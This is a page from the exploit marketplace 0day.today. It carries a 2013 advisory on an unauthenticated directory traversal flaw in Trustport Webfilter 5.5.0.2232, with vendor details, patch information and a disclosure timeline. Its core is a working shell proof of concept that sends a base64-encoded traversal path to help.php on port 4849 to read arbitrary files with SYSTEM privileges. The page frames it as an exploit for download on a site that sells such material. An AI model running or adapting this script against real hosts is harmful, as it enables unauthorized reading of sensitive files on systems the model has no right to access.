0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Trustport Webfilter 5.5.0.2232 - Directory Traversal Vulnerability
[Trustport Webfilter Remote File Access Vulnerability
====================================================
Affected Product
----------------
Product Name: Trustport Webfilter
Product Version: 5.5.0.2232
Platform: Microsoft Windows
Product/Company Information
---------------------------
From Trustports website:
"An advanced solution for the protection and optimization of web
traffic within your company network.
It enables both monitoring and directing of users web activities.
It also utilizes your internet connectivity, and reduces the risk of
virus infections.
Contributes to protecting the reputation of your company."
Trustports website can be found at www.trustport.com
Vulnerability Description
-------------------------
A vulnerability exists within the help.php script, allowing an remote
attacker to access files outside of the
webroot with SYSTEM privileges, without authentication.
In order to exploit this vulnerability, an attacker has to craft a
special GET-request, with a base64 encoded
directory traversal string and file name (see Exploit section).
Exploit
-------
#!/bin/sh
#
# PoC Exploit for trustport TrustPort_Webfilter_5.5.0.2232
# Usage: ./exploit.sh <IP> <path/filename>
# Example: ./exploit.sh 192.168.42.130 ../../../../../Windows/win.ini
# oliver.karow@gmx.de
MY_IP=$1
MY_FILE=$(echo -n $2| base64)
MY_CONSOLEPORT='4849'
if [ $# -eq 0 ]
then
echo "Usage: `basename $0` <ip> <path/filename>"
exit
fi
echo -e "GET /help.php?hf=$MY_FILE HTTP/1.0\n\n\n\n" | openssl s_client
-connect $MY_IP:$MY_CONSOLEPORT -quiet
Patch Information
-----------------
A patch is available from vendor.
Corrected Build is: 6.0.0.3033
Advisory Information
--------------------
http://www.oliverkarow.de/research/trustport.txt
History
-------
26/07/2013 - Initial contact with vendor
26/07/2013 - Response from vendor
30/07/2013 - Patch information provided by vendor
# 0day.today [2024-11-16] #